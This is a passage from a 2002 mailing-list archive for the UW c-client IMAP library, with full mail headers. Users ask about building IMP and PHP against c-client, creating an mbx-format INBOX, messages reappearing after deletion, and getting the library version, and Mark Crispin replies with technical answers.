-0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vicki Brown To: imp@lists.horde.org Cc: c-client@u.washington.edu Subject: c-client (IMAP 2001 Final) and IMP Content-Type: multipart/alternative; boundary=Apple-Mail-7-817817934 Mime-Version: 1.0 (Apple Message framework v482) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Apple-Mail-7-817817934 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed I understand there were some difficulties using the c-client library from IMAP 2001a and IMP. What about 2001-Final? I have built IMP 3.1 and PHP 4.2.2. To build PHP 4.2.2 (php_imap.c) successfully, I needed a more recent version of c-client (at least the .h files) than we had previously installed (otherwise I got quite a few "undeclared" errors). But the IMP PHP-IMAP test doesn't work properly, claiming INBOX has 0 messages (0 new 1030392911 recent) even though I know (from my "real" IMAP client) that my INBOX has several messages at this time. There are a number of possibilities I can think of for my problem: 1) The c-client library and .h files I used to build PHP do not match the currently running version of the imapd binary 2) This could be part of the IMAP-2001 problem have seen discussed previously for IMP (unfortunately, my search for answers was not definitive). IMAP server 2001 is listed as "Known working" for IMP... 3) It could be something else... Suggestions? Help? Please Cc: me directly; I am subscribed to the digest version of these lists. - Vicki --Apple-Mail-7-817817934 Content-Transfer-Encoding: 7bit Content-Type: text/enriched; charset=US-ASCII I understand there were some difficulties using the c-client library from IMAP 2001a and IMP. What about 2001-Final? I have built IMP 3.1 and PHP 4.2.2. To build PHP 4.2.2 (php_imap.c) successfully, I needed a more recent version of c-client (at least the .h files) than we had previously installed (otherwise I got quite a few "undeclared" errors). But the IMP PHP-IMAP test doesn't work properly, claiming INBOX has 0 messages (0 new 1030392911 recent) even though I know (from my "real" IMAP client) that my INBOX has several messages at this time. There are a number of possibilities I can think of for my problem: 1) The c-client library and .h files I used to build PHP do not match the currently running version of the imapd binary 2) This could be part of the IMAP-2001 problem have seen discussed previously for IMP (unfortunately, my search for answers was not definitive). IMAP server 2001 is listed as "Known working" for IMP... 3) It could be something else... Suggestions? Help? Please Cc: me directly; I am subscribed to the digest version of these lists. - Vicki --Apple-Mail-7-817817934-- From pinedev@shivax2.cac.washington.edu Tue Sep 3 12:13:45 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Sep 2002 12:13:45 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g83JDj2P013589 for ; Tue, 3 Sep 2002 12:13:45 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Sep 03 12:13:44 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g83JDaEN019414 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Sep 2002 12:13:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g83JCLOm075368; Tue, 3 Sep 2002 12:12:22 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g83J9797106470 for ; Tue, 3 Sep 2002 12:09:07 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Sep 03 12:09:06 2002 -0700 Received: from efreet.gene.com (efreet-open.gene.COM [192.12.78.77]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g83J95JX021813 for ; Tue, 3 Sep 2002 12:09:06 -0700 Received: from leavenworth.gene.com (kansas-dhsvc.gene.com [128.137.56.51]) by efreet.gene.com (8.12.2/8.12.4) with ESMTP id g83J8Z3L358305 for ; Tue, 3 Sep 2002 12:08:36 -0700 (PDT) Received: from catnip (dhcp192-14.gene.com [128.137.192.14]) by leavenworth.gene.com (8.12.5/8.12.5) with ESMTP id g83J95i5730142 for ; Tue, 3 Sep 2002 12:09:05 -0700 (PDT) Message-Id: <9D35CD98-BF70-11D6-9B9B-00039378F00E@gene.com> Date: Tue, 3 Sep 2002 12:09:04 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vicki Brown To: c-client@u.washington.edu Subject: Trying to understand INBOX Mime-Version: 1.0 (Apple Message framework v482) Content-Type: multipart/alternative; boundary=Apple-Mail-2--914146292 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Apple-Mail-2--914146292 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed Up until about an hour ago, my "INBOX" was my mailspool file. Then my "manager" said "Oh, your INBOX should be in mbx format. I have changed it". And now my "INBOX" is moved to a /var/IMAP subdir, along with all of my (previous) mail folders. How does the INBOX file get created _the first time_? I have read the rules to select INBOX and its format (drivers.txt) in the IMAP docs and they imply the prior existence of various files which IMAP then checks for in order. But... how do those files come into existence? I am presuming that sendmail delivers my mail to /var/spool/mail in traditional Unix mbox format. The existence of an INBOX in "mbx" format makes c-client use that in preference to the spool file (according to the doc). Unless that mbx-format file exists, however, c-client will fall back on other formats. Was some admin person supposed to create an mbx format INBOX file for me when they set up my account (and they didn't do so)? Does any code cause the initial creation of an mbx-format INBOX or must that be created "by hand" when an account is created? - Vicki --Apple-Mail-2--914146292 Content-Transfer-Encoding: 7bit Content-Type: text/enriched; charset=US-ASCII Up until about an hour ago, my "INBOX" was my mailspool file. Then my "manager" said "Oh, your INBOX should be in mbx format. I have changed it". And now my "INBOX" is moved to a /var/IMAP subdir, along with all of my (previous) mail folders. How does the INBOX file get created _the first time_? I have read the rules to select INBOX and its format (drivers.txt) in the IMAP docs and they imply the prior existence of various files which IMAP then checks for in order. But... how do those files come into existence? I am presuming that sendmail delivers my mail to /var/spool/mail in traditional Unix mbox format. The existence of an INBOX in "mbx" format makes c-client use that in preference to the spool file (according to the doc). Unless that mbx-format file exists, however, c-client will fall back on other formats. Was some admin person supposed to create an mbx format INBOX file for me when they set up my account (and they didn't do so)? Does any code cause the initial creation of an mbx-format INBOX or must that be created "by hand" when an account is created? - Vicki --Apple-Mail-2--914146292-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 3 12:39:52 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Sep 2002 12:39:52 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g83Jdq2P014736 for ; Tue, 3 Sep 2002 12:39:52 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Sep 03 12:39:51 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g83Jdg07021076 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 3 Sep 2002 12:39:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g83JcZOm092414; Tue, 3 Sep 2002 12:38:35 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g83JPq97125298 for ; Tue, 3 Sep 2002 12:25:52 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Sep 03 12:25:51 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g83JPpbr002768 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Sep 2002 12:25:51 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g83JPojg007639 for ; Tue, 3 Sep 2002 12:25:51 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Tue Sep 03 12:25:49 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g83JPnTb009620 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 3 Sep 2002 12:25:49 -0700 Message-Id: Date: Tue, 3 Sep 2002 12:25:50 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vicki Brown Cc: c-client@u.washington.edu Subject: Re: Trying to understand INBOX In-Reply-To: <9D35CD98-BF70-11D6-9B9B-00039378F00E@gene.com> References: <9D35CD98-BF70-11D6-9B9B-00039378F00E@gene.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The definition of your INBOX file is based upon a number of factors, including system manager intervention. INBOX always exists, even when there is no actual file (if there is no actual file, then INBOX is empty). On a "vanilla" UNIX system with a "vanilla" user configuration, the INBOX is the spool file (whether or not a spool file exists). If the spool file does not exist, then INBOX is empty; and if the spool file appears (as when mail is delivered and the mailer creates it) then the INBOX becomes non-empty. In non-"vanilla" UNIX systems and/or non-"vanilla" user configurations, INBOX may be something else. For example, if you have an mbx-format file called INBOX in your home directory, it is the INBOX. c-client does not automatically create mbx-format INBOX files. It must be created by hand, or the mailer has to be configured to create mbx-format; in either situation, the configuration is no longer "vanilla" and you have to make inquiry with whomever is responsible for configuring your system. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Sat Sep 7 07:23:46 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 7 Sep 2002 07:23:46 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g87ENj2P017106 for ; Sat, 7 Sep 2002 07:23:45 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Sat Sep 07 07:23:44 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g87ENi07028251 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 7 Sep 2002 07:23:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g87EMe0j005934; Sat, 7 Sep 2002 07:22:40 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g87EIv97106852 for ; Sat, 7 Sep 2002 07:18:57 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Sat Sep 07 07:18:56 2002 -0700 Received: from smtp7.andrew.cmu.edu (SMTP7.andrew.cmu.edu [128.2.10.87]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g87EItbr027282 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 7 Sep 2002 07:18:56 -0700 Received: from devlocus.org (VOID.RES.cmu.edu [128.2.152.20]) by smtp7.andrew.cmu.edu (8.12.3.Beta2/8.12.3.Beta2) with ESMTP id g87EIrla001633 for ; Sat, 7 Sep 2002 10:18:53 -0400 Message-Id: <3D7A0ACD.5030106@devlocus.org> Date: Sat, 07 Sep 2002 10:18:53 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Adam Chlipala To: c-client@washington.edu Subject: Messages re-appearing in Inbox MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm running uw-imapd-ssl under Debian with exim. Every once in a while, old messages that I have already received in my Inbox, and already deleted or otherwise filed, will reappear in my Inbox as though they were new. Sometimes some of them will even show up as "already read." Users of this system who use POP3 to get their mail say they haven't encountered anything like this, and I've had this happen to me with both Mozilla mailnews and the SquirrelMail web client using SSL IMAP. Does anyone have any suggestions about what could be wrong with my setup? Thanks, Adam -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Sep 7 11:38:24 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 7 Sep 2002 11:38:24 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g87IcO2P021250 for ; Sat, 7 Sep 2002 11:38:24 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Sat Sep 07 11:38:23 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g87IcM07032678 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 7 Sep 2002 11:38:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g87IbUk6040648; Sat, 7 Sep 2002 11:37:31 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g87IZ297022742 for ; Sat, 7 Sep 2002 11:35:02 -0700 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Sat Sep 07 11:35:02 2002 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g87IZ1br029539 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 7 Sep 2002 11:35:02 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g87IZ1t6026500 for ; Sat, 7 Sep 2002 11:35:01 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Sat Sep 07 11:35:00 2002 -0700 Received: from Shimo-Tomobiki.Panda.COM (mes128085095.airdata.net [166.128.85.95]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g87IYhCR023957 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sat, 7 Sep 2002 11:34:57 -0700 Message-Id: Date: Sat, 7 Sep 2002 11:33:48 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Adam Chlipala Cc: c-client@washington.edu Subject: Re: Messages re-appearing in Inbox In-Reply-To: <3D7A0ACD.5030106@devlocus.org> References: <3D7A0ACD.5030106@devlocus.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 7 Sep 2002, Adam Chlipala wrote: > I'm running uw-imapd-ssl under Debian with exim. Every once in a while, > old messages that I have already received in my Inbox, and already > deleted or otherwise filed, will reappear in my Inbox as though they > were new. The most common cause is that you inadvertantly (or your client foolishly) opened a second session to a traditional UNIX format mailbox, which caused the first session to go read-only. Clients which do not fully comprehend the IMAP protocol may fail to recognize read-only state, and proceed to tell you that they have deleted messages which, in fact, were not deleted. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Sep 9 11:24:57 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Sep 2002 11:24:57 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g89IOv2P030768 for ; Mon, 9 Sep 2002 11:24:57 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Sep 09 11:24:56 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g89IOt07004594 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 9 Sep 2002 11:24:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g89IMWk6041146; Mon, 9 Sep 2002 11:22:33 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g89IGp97095410 for ; Mon, 9 Sep 2002 11:16:51 -0700 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Sep 09 11:16:50 2002 -0700 Received: from djinn.gene.com (djinn-open.gene.com [192.12.78.2]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g89IGoR8024874 for ; Mon, 9 Sep 2002 11:16:50 -0700 Received: from larned.gene.com (sanjuan.gene.com [128.137.56.7]) by djinn.gene.com (8.12.2/8.12.4) with ESMTP id g89IGnKR324981 for ; Mon, 9 Sep 2002 11:16:50 -0700 (PDT) Received: from catnip (dhcp192-23.gene.com [128.137.192.23]) by larned.gene.com (8.12.5/8.12.5) with ESMTP id g89IGnb41497377 for ; Mon, 9 Sep 2002 11:16:49 -0700 (PDT) Message-Id: <4E2867D3-C420-11D6-A132-00039378F00E@gene.com> Date: Mon, 9 Sep 2002 11:16:48 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vicki Brown To: c-client@u.washington.edu Subject: some function I can call to get the c-client library version? Mime-Version: 1.0 (Apple Message framework v482) Content-Type: multipart/alternative; boundary=Apple-Mail-11--398882847 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Apple-Mail-11--398882847 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed Digging through the source has so far not produced enlightenment. Does c-client.a carry the knowledge of its current version inside itself? How can a client program that relies on c-client.a determine which version of the library it is linked with? - Vicki --Apple-Mail-11--398882847 Content-Transfer-Encoding: 7bit Content-Type: text/enriched; charset=US-ASCII Digging through the source has so far not produced enlightenment. Does c-client.a carry the knowledge of its current version inside itself? How can a client program that relies on c-client.a determine which version of the library it is linked with? - Vicki --Apple-Mail-11--398882847-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 9 16:03:53 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Sep 2002 16:03:53 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g89N3r2P010791 for ; Mon, 9 Sep 2002 16:03:53 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Sep 09 16:03:52 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g89N3p07014133 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 9 Sep 2002 16:03:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g89N2i0j005472; Mon, 9 Sep 2002 16:02:45 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g89MgU97107046 for ; Mon, 9 Sep 2002 15:42:30 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Sep 09 15:42:29 2002 -0700 Received: from djinn.gene.com (djinn-open.gene.com [192.12.78.2]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g89MgTs8008265 for ; Mon, 9 Sep 2002 15:42:30 -0700 Received: from leavenworth.gene.com (kansas-dhsvc.gene.com [128.137.56.51]) by djinn.gene.com (8.12.2/8.12.4) with ESMTP id g89MgTwH003926 for ; Mon, 9 Sep 2002 15:42:29 -0700 (PDT) Received: from catnip (dhcp192-23.gene.com [128.137.192.23]) by leavenworth.gene.com (8.12.5/8.12.5) with ESMTP id g89MgSi5594707 for ; Mon, 9 Sep 2002 15:42:29 -0700 (PDT) Message-Id: <6AC2EC36-C445-11D6-A132-00039378F00E@gene.com> Date: Mon, 9 Sep 2002 15:42:27 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vicki Brown To: c-client@u.washington.edu Subject: c-client lib really needs a version function... Mime-Version: 1.0 (Apple Message framework v482) Content-Type: multipart/alternative; boundary=Apple-Mail-13--382943479 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Apple-Mail-13--382943479 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed PHP has no way of knowing which version of c-client it's built with. So, it makes a guess about which version it thinks it WILL be built with. If it's wrong, there's no way to check. sigh. - Vicki --Apple-Mail-13--382943479 Content-Transfer-Encoding: 7bit Content-Type: text/enriched; charset=US-ASCII PHP has no way of knowing which version of c-client it's built with. So, it makes a guess about which version it thinks it WILL be built with. If it's wrong, there's no way to check. sigh. - Vicki --Apple-Mail-13--382943479-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 9 16:07:28 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Sep 2002 16:07:28 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g89N7S2P010969 for ; Mon, 9 Sep 2002 16:07:28 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Sep 09 16:07:27 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g89N7R07014289 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 9 Sep 2002 16:07:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g89N6Q4G026918; Mon, 9 Sep 2002 16:06:27 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g89MiQ97131708 for ; Mon, 9 Sep 2002 15:44:27 -0700 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Sep 09 15:44:26 2002 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g89MiQJY006625 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 9 Sep 2002 15:44:26 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g89MiPt6004310 for ; Mon, 9 Sep 2002 15:44:26 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Mon Sep 09 15:44:24 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g89MiOTb014968 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 9 Sep 2002 15:44:24 -0700 Message-Id: Date: Mon, 9 Sep 2002 15:44:26 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vicki Brown Cc: c-client@u.washington.edu Subject: Re: some function I can call to get the c-client library version? In-Reply-To: <4E2867D3-C420-11D6-A132-00039378F00E@gene.com> References: <4E2867D3-C420-11D6-A132-00039378F00E@gene.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 9 Sep 2002, Vicki Brown wrote: > Digging through the source has so far not produced > enlightenment. Does c-client.a carry the knowledge of its > current version inside itself? At the current time, it does not. > How can a client program that relies on c-client.a determine > which version of the library it is linked with? Supposedly, if the program successfully compiles and links, it is compatible with that version of c-client. There have not been any incompatible changes in c-client in a long time; imap-4.1 was the last major incompatible change. This also means that you should be able to build your program with a newer version of c-client, and have it "just work". From pinedev@shivax2.cac.washington.edu Mon Sep 9 16:13:14 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Sep 2002 16:13:14 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g89NDE2P011250 for ; Mon, 9 Sep 2002 16:13:14 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Sep 09 16:13:13 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g89ND9EN010778 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 9 Sep 2002 16:13:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g89NCS0j020054; Mon, 9 Sep 2002 16:12:28 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g89N7e97155944 for ; Mon, 9 Sep 2002 16:07:44 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Sep 09 16:07:16 2002 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.19]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g89N7Gbr002706 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 9 Sep 2002 16:07:16 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g89N7GB6010987 for ; Mon, 9 Sep 2002 16:07:16 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Mon Sep 09 16:07:15 2002 -0700 Received: from 